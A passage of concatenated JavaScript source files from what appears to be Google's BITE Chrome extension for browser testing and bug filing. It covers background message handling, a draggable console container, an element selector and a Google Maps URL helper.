}; /** * Gets a value from localStorage, or 'null' if no value is stored. * @param {string} key The localStorage key of the item. * @param {function(?string)} callback The function to call with the value * from localStorage. * @private */ bite.client.Background.prototype.getLocalStorage_ = function(key, callback) { var data = /** @type {?string} */ (goog.global.localStorage.getItem(key)); callback(data); }; /** * Sets a value in localStorage. * @param {string} key The localStorage key to set. * @param {string} value The value to set into localStorage. * @param {function()} callback A function to callback. * @private */ bite.client.Background.prototype.setLocalStorage_ = function(key, value, callback) { goog.global.localStorage.setItem(key, value); callback(); }; /** * Removes a value in localStorage. * @param {string} key The localStorage key to remove. * @param {function()} callback A function to callback. * @private */ bite.client.Background.prototype.removeLocalStorage_ = function(key, callback) { goog.global.localStorage.removeItem(key); callback(); }; /** * Updates the data in the selected tab of Chrome. * @param {Tab} tab The created tab object. * @private */ bite.client.Background.prototype.updateData_ = function(tab) { this.sendRequestToTab_(Bite.Constants.HUD_ACTION.UPDATE_DATA, tab, 0); }; /** * Hides the BITE consoles opened in all tabs/windows of Chrome. * @private */ bite.client.Background.prototype.hideAllConsoles_ = function() { chrome.windows.getAll({'populate': true}, goog.bind(this.hideAllConsolesInWindows_, this)); }; /** * Hides the BITE consoles found in the list windows provided. * @param {Array} windows An array of chrome.window objects. * @private */ bite.client.Background.prototype.hideAllConsolesInWindows_ = function( windows) { for (var i = 0; i < windows.length; i++) { for (var k = 0; k < windows[i].tabs.length; k++) { this.sendRequestToTab_(Bite.Constants.HUD_ACTION.HIDE_CONSOLE, windows[i].tabs[k], 0); } } }; /** * Sends the specified request to the content script running * on the given tab. * @param {Bite.Constants.HUD_ACTION} action Action the content script * needs to execute. * @param {Tab} tab Tab to toggle the visibility on. * @param {number} delay The number of milliseconds to wait before executing. * @private */ bite.client.Background.prototype.sendRequestToTab_ = function(action, tab, delay) { goog.Timer.callOnce( goog.bind(chrome.tabs.sendRequest, this, tab.id, {'action': action}), delay); }; /** * Gets a list of templates from the server. If the request contains a * url, gets the templates for that url. If no url is given, returns all * templates. * @param {Object} request Dictionary containing request details. * @param {function(Object.<string, bite.client.BugTemplate>)} callback * A callback to call with the list of templates. * @private */ bite.client.Background.prototype.getTemplates_ = function(request, callback) { if (request.url) { this.templateManager_.getTemplatesForUrl(callback, request.url); } else { this.templateManager_.getAllTemplates(callback); } }; /** * Sends the test result back to the server. * @param {Object} resultData Ojbect containg the result details. * @param {function(): void} callback Function to call after the result is * sent. * @private */ bite.client.Background.prototype.logTestResult_ = function(resultData, callback) { var result = resultData['result']; var testId = resultData['testId']; var comments = resultData['comment']; var bugs = resultData['bugs']; var name = ''; switch (result) { case Bite.Constants.TestResult.PASS: name = 'passResult'; break; case Bite.Constants.TestResult.FAIL: name = 'failResult'; break; case Bite.Constants.TestResult.SKIP: name = 'skip'; break; default: console.error('Unrecognized test result: ' + result); break; } var queryParams = {'name': testId}; if (bugs) { queryParams['bugs_' + testId] = bugs; } if (comments) { queryParams['comment_' + testId] = comments; } var queryData = goog.Uri.QueryData.createFromMap(queryParams); var server = bite.options.data.get(bite.options.constants.Id.SERVER_CHANNEL); var url = goog.Uri.parse(server); url.setPath(this.submitTestResultApiPath_); bite.common.net.xhr.async.post(url.toString(), queryData.toString(), goog.bind(this.logTestResultComplete_, this, callback)); }; /** * Fires when the log request completes. Ignores request response. * @param {function(): void} callback Function to call after the result is * sent. * @private */ bite.client.Background.prototype.logTestResultComplete_ = function(callback) { callback(); }; /** * Loads the content script into the specified tab. * @param {Tab} tab The tab to load the content_script into. * @private */ bite.client.Background.prototype.loadContentScript_ = function(tab) { // The content is dependent on the puppet script for element selection // in bug filing, so load it first. Then load the content script. chrome.tabs.executeScript(tab.id, {file: 'content_script.js'}); }; /** * Ensure the BITE console content script has been loaded. * @param {Tab} tab The tab to ensure the content script is loaded in. * @private */ bite.client.Background.prototype.startEnsureContentScriptLoaded_ = function( tab) { // Create a script that checks for the BITE lock and sends a // loadContentScript command if it isn't there. This intentionally // doesn't use closure due to not having the closure libraries available // when executing. var contentScriptChecker = '//Checking the content script\n' + 'var biteLock=document.getElementById("' + Bite.Constants.BITE_CONSOLE_LOCK + '");' + 'if(!biteLock){chrome.extension.sendRequest({action: "' + Bite.Constants.HUD_ACTION.LOAD_CONTENT_SCRIPT + '"});}'; chrome.tabs.executeScript(tab.id, {code: contentScriptChecker}); }; /** * Logs an instrumentation event. NOTE(alexto): This method assumes that * Google Analytics code is already loaded. * @param {string} category Main of the main feture serving the event. * @param {string} action Action that trigger the event. * @param {string} label Additional information to log about the action. * @export */ bite.client.Background.logEvent = function(category, action, label) { var gaq = goog.global['_gaq']; if (gaq) { gaq.push(['_trackEvent', category, action, label]); } else { console.warn('Google Analytics is not ready.'); } }; /** * Captures the current page's screenshot. * @param {function(string)} callback The callback function. * @private */ bite.client.Background.prototype.captureVisibleTab_ = function(callback) { chrome.tabs.captureVisibleTab( null, null, goog.partial(rpf.MiscHelper.resizeImage, callback, 800, null)); }; /** * Callback function that begins the new bug filing process. * @param {Tab} tab The created tab object. * @private */ bite.client.Background.prototype.startNewBug_ = function(tab) { this.startEnsureContentScriptLoaded_(tab); // Wait 100 ms for the BITE content script to get kicked off. this.sendRequestToTab_(Bite.Constants.HUD_ACTION.START_NEW_BUG, tab, 100); }; /** * Callback function that toggles the bugs console. * @param {Tab} tab The created tab object. * @private */ bite.client.Background.prototype.toggleBugsConsole_ = function(tab) { this.startEnsureContentScriptLoaded_(tab); // Wait 100 ms for the BITE content script to get kicked off. this.sendRequestToTab_(Bite.Constants.HUD_ACTION.TOGGLE_BUGS, tab, 100); }; /** * Callback function that toggles the tests console. * @param {Tab} tab The created tab object. * @private */ bite.client.Background.prototype.toggleTestsConsole_ = function(tab) { this.startEnsureContentScriptLoaded_(tab); // Wait 100 ms for the BITE content script to get kicked off. this.sendRequestToTab_(Bite.Constants.HUD_ACTION.TOGGLE_TESTS, tab, 100); }; /** * Return the url of the current server channel. * @return {string} The url of the current server channel. * @private */ bite.client.Background.prototype.getServerChannel_ = function() { return bite.options.data.get(bite.options.constants.Id.SERVER_CHANNEL); }; /** * Returns the current configuration of the BITE settings/options. * @return {!Object} The current configuration. * @private */ bite.client.Background.prototype.getSettingsConfiguration_ = function() { return bite.options.data.getCurrentConfiguration(); }; /** * Handles request sent via chrome.extension.sendRequest(). * @param {!Object} request Object data sent in the request. * @param {MessageSender} sender An object containing information about the * script context that sent the request. * @param {function(!*): void} callback Function to call when the request * completes. * @export */ bite.client.Background.prototype.onRequest = function(request, sender, callback) { // If the request contains a command or the request does not handle requests // from the specified request's owner then do nothing (i.e. don't process // this request). if (request['command']) { return; } switch (request['action']) { case Bite.Constants.HUD_ACTION.FETCH_TEST_DATA: this.fetchTestData_(sender.tab, callback); break; case Bite.Constants.HUD_ACTION.FETCH_BUGS_DATA: this.fetchBugsData_(sender.tab, callback); break; case Bite.Constants.HUD_ACTION.LOG_TEST_RESULT: this.logTestResult_(request, callback); break; case Bite.Constants.HUD_ACTION.TOGGLE_BUGS: chrome.tabs.getSelected(null, goog.bind(this.toggleBugsConsole_, this)); break; case Bite.Constants.HUD_ACTION.TOGGLE_TESTS: chrome.tabs.getSelected(null, goog.bind(this.toggleTestsConsole_, this)); break; case Bite.Constants.HUD_ACTION.HIDE_ALL_CONSOLES: this.hideAllConsoles_(); break; // UPDATE_DATA updates the data (such as bugs and tests) on the current // tab. case Bite.Constants.HUD_ACTION.UPDATE_DATA: chrome.tabs.getSelected(null, goog.bind(this.updateData_, this)); break; // Bug templates case Bite.Constants.HUD_ACTION.GET_TEMPLATES: this.getTemplates_(request, callback); break; // Bug information handling. case Bite.Constants.HUD_ACTION.START_NEW_BUG: chrome.tabs.getSelected(null, goog.bind(this.startNewBug_, this)); break; case Bite.Constants.HUD_ACTION.UPDATE_BUG: bugs.api.update(request['details'], callback); break; case Bite.Constants.HUD_ACTION.CREATE_BUG: if (request['details'] && request['details']['summary'] && request['details']['title']) { request['details']['summary'] += this.getNewScriptUrl_('bugs', request['details']['title']); } bugs.api.create(request['details'], callback); break; case Bite.Constants.HUD_ACTION.GET_LOCAL_STORAGE: this.getLocalStorage_(request['key'], callback); break; case Bite.Constants.HUD_ACTION.SET_LOCAL_STORAGE: this.setLocalStorage_(request['key'], request['value'], callback); break; case Bite.Constants.HUD_ACTION.REMOVE_LOCAL_STORAGE: this.removeLocalStorage_(request['key'], callback); break; case Bite.Constants.HUD_ACTION.ENSURE_CONTENT_SCRIPT_LOADED: chrome.tabs.getSelected( null, goog.bind(this.startEnsureContentScriptLoaded_, this)); break; case Bite.Constants.HUD_ACTION.LOAD_CONTENT_SCRIPT: chrome.tabs.getSelected( null, goog.bind(this.loadContentScript_, this)); break; case Bite.Constants.HUD_ACTION.LOG_EVENT: bite.client.Background.logEvent( request['category'], request['event_action'], request['label']); break; case Bite.Constants.HUD_ACTION.CREATE_RPF_WINDOW: this.rpf_.setUserId(request['userId']); this.rpf_.createWindow(); break; case Bite.Constants.HUD_ACTION.CHANGE_RECORD_TAB: this.rpf_.focusRpf(); break; case Bite.Constants.HUD_ACTION.GET_CURRENT_USER: this.loginManager_.getCurrentUser(callback); break; case Bite.Constants.HUD_ACTION.GET_SERVER_CHANNEL: callback(this.getServerChannel_()); break; case Bite.Constants.HUD_ACTION.GET_SETTINGS: callback(this.getSettingsConfiguration_()); break; case Bite.Constants.HUD_ACTION.GET_SCREENSHOT: this.captureVisibleTab_(callback); break; // UPDATE updates the data from BITE options. case bite.options.constants.Message.UPDATE: chrome.windows.getAll({'populate': true}, goog.bind(this.broadcastConfigurationChange_, this)); break; default: throw new Error('The specified action is not valid: ' + request['action']); } }; /** * Broadcast the current configuration to all content scripts. * @param {Array.<Object>} windows An Array of Chrome windows. * @private */ bite.client.Background.prototype.broadcastConfigurationChange_ = function(windows) { var configuration = bite.options.data.getCurrentConfiguration(); var msg = {}; msg['action'] = bite.options.constants.Message.UPDATE; msg['data'] = goog.json.serialize(configuration); // For each window, loop over its tabs and send a message with the current // configuration. for (var i = 0; i < windows.length; ++i) { var window = windows[i]; var tabs = window.tabs; if (!tabs) { continue; } for (var j = 0; j < tabs.length; ++j) { var tab = tabs[j]; chrome.tabs.sendRequest(tab.id, msg, goog.nullFunction); } } }; // Wire up the listener. chrome.extension.onRequest.addListener( goog.bind(bite.client.Background.getInstance().onRequest, bite.client.Background.getInstance()));
JavaScript
// Copyright 2011 Google Inc. All Rights Reserved. // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. /** * @fileoverview The BITE container provides an interface for easily * creating a new BITE console container on the screen. The console is * automatically resizable and draggable, and can optionally store its location * and position based on the consoleId. The root element of the container * may be accessed by bite.client.Container.root(). * * @author ralphj@google.com (Julie Ralph) */ goog.provide('bite.client.Container'); goog.require('Bite.Constants'); goog.require('bite.client.Resizer'); goog.require('bite.client.Templates'); goog.require('goog.Timer'); goog.require('goog.dom'); goog.require('goog.events'); goog.require('goog.events.EventHandler'); goog.require('goog.json'); goog.require('soy'); /** * Sets up a new BITE console container. The container is set up to be * resizable and draggable. * @param {string} server The URL to the current BITE server. * @param {string} consoleId A unique ID for the container element. This ID * will be used as an element ID, so should be labeled with the BITE * prefix such as 'bite-bugs-console-container'. The ID will also * be used to store the location of the container in localStorage, * if opt_savePosition is true. * @param {string} headerText The title of the console container. * @param {string=} opt_headerSubtext A subtitle for the console container. * @param {boolean=} opt_savePosition Whether or not the console should save * its last position in localStorage. If the position is not saved, a new * container will always be positioned at the default location defined * in background.js. * @param {boolean=} opt_hideOnLoad Whether or not the console should begin * as a hidden element. * @param {string=} opt_tooltip The optional tooltip of this dialog. * @constructor */ bite.client.Container = function(server, consoleId, headerText, opt_headerSubtext, opt_savePosition, opt_hideOnLoad, opt_tooltip) { /** * The id of the current console element. * @type {string} * @private */ this.consoleId_ = consoleId; /** * Manages browser events created by the container. * @type {!goog.events.EventHandler} * @private */ this.eventHandler_ = new goog.events.EventHandler(this); /** * A function to call when the container is closed. * @type {function()} * @private */ this.closeCallback_ = goog.nullFunction; var headerSubtext = opt_headerSubtext || ''; var tooltip = opt_tooltip || ''; var rootFolder = chrome.extension.getURL(''); var container = soy.renderAsElement( bite.client.Templates.consoleContainer, {rootFolder: rootFolder, serverUrl: server, consoleId: this.consoleId_, headerText: headerText, headerSubtext: headerSubtext, tooltip: tooltip}); /** * The root element of the bugs console. * @type {!Element} * @private */ this.root_ = container; var content = goog.dom.getElementByClass( bite.client.Container.Classes_.CONTENT, this.root_); if (!content) { throw Error( 'The element ' + bite.client.Container.Classes_.CONTENT + ' could not be found'); } /** * The div holding the content. * @type {!Element} * @private */ this.content_ = content; var infobar = goog.dom.getElementByClass( bite.client.Container.Classes_.INFOBAR, this.root_); if (!infobar) { throw Error( 'The element ' + bite.client.Container.Classes_.INFOBAR + ' could not be found'); } /** * The infobar element. * @type {!Element} * @private */ this.infobar_ = infobar; goog.dom.appendChild(goog.dom.getDocument().body, this.root_); /** * A counter to keep track of the number of messages in the infobar. * @type {number} * @private */ this.messageCounter_ = 0; var callback = function() {}; if (opt_savePosition) { callback = goog.bind(this.setLastSizeAndPosition_, this); } /** * Resizer which controls dragging and resizing of the container. * @type {!bite.client.Resizer} * @private */ this.resizer_ = new bite.client.Resizer( this.root_, goog.dom.getElementByClass( bite.client.Container.Classes_.HEADER, this.root_), false, callback, callback); this.getSavedConsoleLocation_(); if (!opt_hideOnLoad) { this.show(); } var closeButton = goog.dom.getElementByClass( bite.client.Container.Classes_.CLOSE_BUTTON, this.root_); this.eventHandler_.listen( closeButton, goog.events.EventType.CLICK, this.closeHandler_); }; /** * Location information for the console. * * @typedef {{position: {x: number, y: number}, * size: {height: number, width: number}}} */ bite.client.Container.Location; /** * Key prefixs used to keep persistent information in local storage. * The console locationkey used for each console will have the consoleId * as its suffix. The key used for each message will have the messageId as its * suffix. * @enum {string} * @private */ bite.client.Container.Keys_ = { CONSOLE_LOCATION: 'bite-client-background-console-location-', SHOWN_MESSAGES: 'bite-client-background-shown-messages-' }; /** * Default location for a new console window. * @type {bite.client.Container.Location} * @private */ bite.client.Container.DEFAULT_CONSOLE_LOCATION_ = {position: {x: 10, y: 10}, size: {height: 400, width: 450}}; /** * CSS class names used by the BITE container. * @enum {string} * @private */ bite.client.Container.Classes_ = { CLOSE_BUTTON: 'bite-close-button', CONTENT: 'bite-console-content', HEADER: 'bite-header', HIDDEN: 'bite-hidden', INFOBAR: 'bite-console-infobar' }; /** * Makes the console visible. */ bite.client.Container.prototype.show = function() { goog.style.setStyle(this.root_, 'visibility', 'visible'); }; /** * Hides the console. */ bite.client.Container.prototype.hide = function() { goog.style.setStyle(this.root_, 'visibility', 'hidden'); }; /** * Returns whether or not the console is currently visible. * @return {boolean} True if the console is visible. */ bite.client.Container.prototype.isVisible = function() { return goog.style.getStyle(this.root_, 'visibility') == 'visible'; }; /** * Destroys the current console. */ bite.client.Container.prototype.remove = function() { this.eventHandler_.removeAll(); goog.dom.getDocument().body.removeChild(this.root_); }; /** * Sets the content of the container. * @param {string} innerHtml The HTML string describing the content. */ bite.client.Container.prototype.setContentFromHtml = function(innerHtml) { this.content_.innerHTML = innerHtml; }; /** * Sets the content of the container from an element. * @param {Element} element The element to set as the content. */ bite.client.Container.prototype.setContentFromElement = function(element) { this.setContentFromHtml(element.innerHTML); }; /** * Sets a callback to call when the close button is clicked. If this is called * more than once, earlier callbacks are ignored. * @param {function()} callback The callback. */ bite.client.Container.prototype.setCloseCallback = function(callback) { this.closeCallback_ = callback; }; /** * Displays a message in the infobar. When the user closes the message, * the Id will be stored in localStorage and any future calls to * showInfoMessageOnce will NOT display that message. * @param {string} id A unique string identifying the message. * @param {string} message The text of the message. */ bite.client.Container.prototype.showInfoMessageOnce = function(id, message) { chrome.extension.sendRequest( {'action': Bite.Constants.HUD_ACTION.GET_LOCAL_STORAGE, 'key': bite.client.Container.Keys_.SHOWN_MESSAGES + id}, goog.bind(this.showInfoMessageCallback_, this, message, id)); }; /** * Displays a message in the infobar. The message will persist until * the user closes it. * @param {string} message The text of the message. * @param {number=} opt_autoHideInterval The interval in seconds that the * message should automatically go away. * @export */ bite.client.Container.prototype.showInfoMessage = function( message, opt_autoHideInterval) { this.addInfobarMessage_(message, null, opt_autoHideInterval); }; /** * Returns the root element of the container * @return {Element} The root element. */ bite.client.Container.prototype.getRoot = function() { return this.root_; }; /** * Hides the infobar. * @private */ bite.client.Container.prototype.hideInfobar_ = function() { goog.dom.classes.add(this.infobar_, bite.client.Container.Classes_.HIDDEN); }; /** * Displays the infobar. * @private */ bite.client.Container.prototype.showInfobar_ = function() { goog.dom.classes.remove(this.infobar_, bite.client.Container.Classes_.HIDDEN); }; /** * If a message has been shown, does nothing. Otherwise, displays it in * the infobar. * @param {string} message The text of the message. * @param {string} messageId The unique id for the message. * @param {?string} shown Null if the message has not been shown. * @private */ bite.client.Container.prototype.showInfoMessageCallback_ = function(message, messageId, shown) { if (!shown) { this.addInfobarMessage_(message, messageId); } }; /** * Adds a message to the list of currently displayed messages on the infobar. * @param {string} message The message to display. * @param {?string} messageId The id for this message. * @param {number=} opt_autoHideInterval The interval in seconds that the * message should automatically go away. * @private */ bite.client.Container.prototype.addInfobarMessage_ = function(message, messageId, opt_autoHideInterval) { if (this.messageCounter_ == 0) { this.showInfobar_(); } ++this.messageCounter_; var messageElement = goog.dom.createDom(goog.dom.TagName.SPAN); messageElement.innerHTML = message; this.infobar_.appendChild(messageElement); var boundOnRemoveMessage = goog.bind( this.removeMessage_, this, messageElement, messageId); this.eventHandler_.listen( messageElement, goog.events.EventType.CLICK, boundOnRemoveMessage); if (opt_autoHideInterval) { goog.Timer.callOnce( boundOnRemoveMessage, opt_autoHideInterval * 1000); } }; /** * Removes a specific infobar message from view. If the message has an id, * sets a value of 't' for that message in localStorage so it will not be * displayed again. * * @param {Element} messageElement The message to remove. * @param {?string} messageId The id of the message to remove. * @private */ bite.client.Container.prototype.removeMessage_ = function(messageElement, messageId) { if (!goog.dom.contains(this.infobar_, messageElement)) { return; } goog.dom.removeNode(messageElement); --this.messageCounter_; if (this.messageCounter_ == 0) { this.hideInfobar_(); } if (messageId) { chrome.extension.sendRequest( {'action': Bite.Constants.HUD_ACTION.SET_LOCAL_STORAGE, 'key': bite.client.Container.Keys_.SHOWN_MESSAGES + messageId, 'value': 't'}); } }; /** * Saves the size and position of the console. The location information * is stored in the background so that the console position is constant * across URLs and across tabs. When a new BITE container with the same * ID as this is opened, it will use the last saved size and position. * @private */ bite.client.Container.prototype.setLastSizeAndPosition_ = function() { var consoleLocation = {position: this.resizer_.getPosition(), size: {width: this.root_.clientWidth, height: this.root_.clientHeight}}; chrome.extension.sendRequest( {action: Bite.Constants.HUD_ACTION.SET_LOCAL_STORAGE, key: bite.client.Container.Keys_.CONSOLE_LOCATION + this.consoleId_, value: goog.json.serialize(consoleLocation)}); }; /** * Requests the location information for a newly opened console. * @private */ bite.client.Container.prototype.getSavedConsoleLocation_ = function() { chrome.extension.sendRequest( {action: Bite.Constants.HUD_ACTION.GET_LOCAL_STORAGE, key: bite.client.Container.Keys_.CONSOLE_LOCATION + this.consoleId_}, goog.bind(this.handleGetSavedConsoleLocation_, this)); }; /** * Updates the location information for a newly opened console. The location * is expected to be an object of the form: * {position: {x: number, y: number}, * size: {height: number, width: number}} * @param {?string} rawLocation The raw string of the location from * localStorage, or null if there is no stored location. * @private */ bite.client.Container.prototype.handleGetSavedConsoleLocation_ = function(rawLocation) { var location = bite.client.Container.DEFAULT_CONSOLE_LOCATION_; if (rawLocation) { try { location = /** @type {!bite.client.Container.Location} */ (goog.json.parse(rawLocation)); } catch (error) { chrome.extension.sendRequest( {action: Bite.Constants.HUD_ACTION.REMOVE_LOCAL_STORAGE, key: bite.client.Container.Keys_.CONSOLE_LOCATION + this.consoleId_}); } } this.updateConsolePosition(location); }; /** * Updates the console to the size and location given in the parameter. * @param {!bite.client.Container.Location} location The location info. */ bite.client.Container.prototype.updateConsolePosition = function(location) { this.resizer_.updateSize( {width: location['size']['width'], height: location['size']['height']}); this.resizer_.updatePosition(location.position); }; /** * Handles the event when the user clicks on the close button. * @private */ bite.client.Container.prototype.closeHandler_ = function() { this.closeCallback_(); }; /** * Handles the event when the user closes the infobar. * @private */ bite.client.Container.prototype.closeInfobarHandler_ = function() { this.hideInfobar_(); };
JavaScript
// Copyright 2011 Google Inc. All Rights Reserved. // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. /** * @fileoverview The element selector asks the user to pick a UI element * from the website, and highlights the element under their cursor in yellow * until they choose one. It will then call a callback with the selected * element. * * @author ralphj@google.com (Julie Ralph) */ goog.provide('bite.client.ElementSelector'); goog.require('bite.client.Resizer'); goog.require('bite.client.console.NewBugTemplate'); goog.require('common.client.RecordModeManager'); goog.require('goog.dom'); goog.require('goog.events.EventHandler'); goog.require('soy'); /** * Element selector constructor. * @param {function()=} opt_cancelCallback A function to call if the element * selector is cancelled. * @constructor */ bite.client.ElementSelector = function(opt_cancelCallback) { /** * Manages the selection of a UI element and highlighting the element. * @type {common.client.RecordModeManager} * @private */ this.recordModeManager_ = new common.client.RecordModeManager(); /** * A function to call if the element selector is cancelled. * @type {function()} * @private */ this.cancelCallback_ = opt_cancelCallback || goog.nullFunction; /** * A popup telling the user to select an element on the page. * @type {Element} * @private */ this.popup_ = null; /** * A function to callback on the selected element. * @type {?function(Element)} * @private */ this.callback_ = null; /** * Whether or not the element selector is active. * @type {boolean} * @private */ this.isActive_ = false; /** * Manages events for the element selector popup. * @type {goog.events.EventHandler} * @private */ this.eventHandler_ = new goog.events.EventHandler(); /** * Manages dragging the popup. * @type {bite.client.Resizer} * @private */ this.dragger_ = null; }; /** * Instructs the element selector to start recording. * @param {function(Element)} callback A callback that is called * when the user clicks on an element. If no element is selected, * the element will be null. * @return {boolean} Whether or not the element selector succesfully began * recording. */ bite.client.ElementSelector.prototype.startRecording = function(callback) { if (this.isActive_) { return false; } this.callback_ = callback; this.recordModeManager_.enterRecordingMode( goog.bind(this.onSelection_, this)); this.isActive_ = true; var rootFolder = chrome.extension.getURL(''); this.popup_ = soy.renderAsElement( bite.client.console.NewBugTemplate.newBugPrompt, {rootFolder: rootFolder}); goog.dom.appendChild(goog.dom.getDocument().body, this.popup_); var headerElement = goog.dom.getElementByClass('bite-header', this.popup_); // Center the element selector in the viewport. var viewport = goog.dom.getViewportSize(); var popupSize = goog.style.getSize(this.popup_); goog.style.setPosition( this.popup_, (viewport.width - popupSize.width) / 2, (viewport.height - popupSize.height) / 2); this.dragger_ = new bite.client.Resizer(this.popup_, headerElement, true); this.setHandlers_(); return true; }; /** * Cancels the element selector if currently recording. */ bite.client.ElementSelector.prototype.cancelSelection = function() { this.cancelCallback_(); this.cleanUp_(); }; /** * Returns whether or not the element selector is currently active. * @return {boolean} Whether the selector is active. */ bite.client.ElementSelector.prototype.isActive = function() { return this.isActive_; }; /** * Handler for when the user clicks on an element. * @param {Element} element The element which was clicked. * @private */ bite.client.ElementSelector.prototype.onSelection_ = function(element) { this.cleanUp_(); this.callback_(element); }; /** * Handles the case where the user indicates that there is no specific * UI element related to the issue. * @private */ bite.client.ElementSelector.prototype.noSelection_ = function() { this.cleanUp_(); this.callback_(null); }; /** * Turns off the record mode manager when mouse is over the popup. This * prevents the popup from being highlighted. * @private */ bite.client.ElementSelector.prototype.mouseOverHandler_ = function() { this.recordModeManager_.exitRecordingMode(); }; /** * Turns the record mode manager back on when the mouse leaves the popup. * @private */ bite.client.ElementSelector.prototype.mouseOutHandler_ = function() { this.recordModeManager_.enterRecordingMode( goog.bind(this.onSelection_, this)); }; /** * Exits recording mode if applicable and removes the popup. * @private */ bite.client.ElementSelector.prototype.cleanUp_ = function() { if (this.recordModeManager_.isRecording()) { this.recordModeManager_.exitRecordingMode(); } goog.dom.getDocument().body.removeChild(this.popup_); this.popup_ = null; this.dragger_ = null; this.isActive_ = false; }; /** * Sets up the event listeners for the event selector popup. * @private */ bite.client.ElementSelector.prototype.setHandlers_ = function() { var cancelButton = goog.dom.getElementByClass('bite-close-button', this.popup_); this.eventHandler_.listen(cancelButton, goog.events.EventType.CLICK, goog.bind(this.cancelSelection, this)); var noSelectionButton = goog.dom.getElementByClass( 'bite-newbug-prompt-no-ui', this.popup_); this.eventHandler_.listen(noSelectionButton, goog.events.EventType.CLICK, goog.bind(this.noSelection_, this)); this.eventHandler_.listen(this.popup_, goog.events.EventType.MOUSEOVER, goog.bind(this.mouseOverHandler_, this)); this.eventHandler_.listen(this.popup_, goog.events.EventType.MOUSEOUT, goog.bind(this.mouseOutHandler_, this)); };
JavaScript
// Copyright 2011 Google Inc. All Rights Reserved. // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. /** * Helper for filing bugs specific to maps.google.com. * * @author ralphj@google.com (Julie Ralph) */ goog.provide('bite.client.MapsHelper'); goog.require('goog.Uri'); goog.require('goog.dom'); goog.require('goog.string'); /** * The maps domain. * @const * @type {string} * @private */ bite.client.MapsHelper.MAPS_DOMAIN_ = 'maps.google.com'; /** * Maps related data. * @enum {string} */ bite.client.MapsHelper.MapsData = { DEBUG_URL_ID: 'ledebugurl', LINK_ID: 'link' }; /** * Determines whether an URL is a Google Maps URL. * @param {string} url URL to test. * @return {boolean} Whether the given URL is a Google Maps URL. */ bite.client.MapsHelper.isMapsUrl = function(url) { var uri = new goog.Uri(url); return goog.string.caseInsensitiveCompare( uri.getDomain(), bite.client.MapsHelper.MAPS_DOMAIN_) == 0; }; /** * Updates the URL of a maps page, and does not edit other URLs. * @param {string} url The page's url. * @param {function(string)} setUrlCallback A callback to set the new url. */ bite.client.MapsHelper.updateUrl = function(url, setUrlCallback) { if (bite.client.MapsHelper.isMapsUrl(url)) { var link = goog.dom.getElement(bite.client.MapsHelper.MapsData.LINK_ID); // We'd like to use the debug url instead of the normal URL if it exists. // We have to click on the link element to show the dialog which // potentially contains the debug url. // Calls the wrapper function for the actions. BiteRpfAction.click(link); // Gets the debug URL only when the field is shown. Will retry if // not immediaetly available. bite.client.MapsHelper.updateDebugUrl_(0, setUrlCallback); } }; /** * Updates the bugs's url with the debug url, retries up to 5 times. * @param {number} timesAttempted The number of retries that have been attempted. * @param {function(string)} setUrlCallback A callback to set the new url. * @private */ bite.client.MapsHelper.updateDebugUrl_ = function(timesAttempted, setUrlCallback) { var debugInput = goog.dom.getElement( bite.client.MapsHelper.MapsData.DEBUG_URL_ID); if (debugInput && debugInput.value && debugInput.parentNode.style.display != 'none') { setUrlCallback(debugInput.value); } else { // Retry up to 5 times. if (timesAttempted < 5) { goog.Timer.callOnce( goog.partial( bite.client.MapsHelper.updateDebugUrl_, timesAttempted + 1, setUrlCallback), 200); } else { // TODO(bustamante): Capture failures like this and report them to the // BITE server or Google Analytics. } } };
JavaScript
// Copyright 2011 Google Inc. All Rights Reserved. // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. /** * @fileoverview A method for mapping mouse position to DOM Element. The * approach used is to store a list of DOM Elements and associated information. * When a request for elements at a given (x,y) position is given the list * will be linearly traversed and the coordinate will be checked to see if * falls within the element. * * This approach was chosen for reduced space requirements. An alternative * memory intensive, but quick lookup, is to keep a two-dimensional array of * ids that map to the element and its information. The other issue with this * approach is that the data would need to be recalculated upon screen resize. * The current approach does not have this requirement as long as the position * and dimensions are explicitly recorded along with the element. * * Revisit this approach and bug overlays in general to scale to much larger * numbers of bugs. Current estimates is in the hundreds per page (small). * * @author jasonstredwick@google.com (Jason Stredwick) */ goog.provide('bite.client.ElementMapper'); goog.require('goog.style'); /** * A class that allows a mapping of window position to DOM Element. * @constructor */ bite.client.ElementMapper = function() { /** * The list of overlay elements. * @type {Array.<{element: !Element, info: !Object}>} * @private */ this.elements_ = []; }; /** * Adds an element to the list. For speed, duplicates are not checked for. * @param {!Element} element The element to record. * @param {!Object} info The information to be recorded with the element. */ bite.client.ElementMapper.prototype.add = function(element, info) { this.elements_.push({element: element, info: info}); }; /** * Returns all Element Info objects stored in the mapper. * @return {Array.<!Object>} The data. */ bite.client.ElementMapper.prototype.all = function() { var data = []; for (var i = 0; i < this.elements_.length; ++i) { data.push(this.elements_[i].info); } return data; }; /** * Clears the list of elements. */ bite.client.ElementMapper.prototype.clear = function() { this.elements_ = []; }; /** * Retrieves the information associated with the DOM Elements at the given * coordinate. * @param {number} x The x coordinate. * @param {number} y The y coordinate. * @return {Array.<!Object>} An array of information objects. */ bite.client.ElementMapper.prototype.find = function(x, y) { var data = []; for (var i = 0; i < this.elements_.length; ++i) { var elementObj = this.elements_[i]; var element = 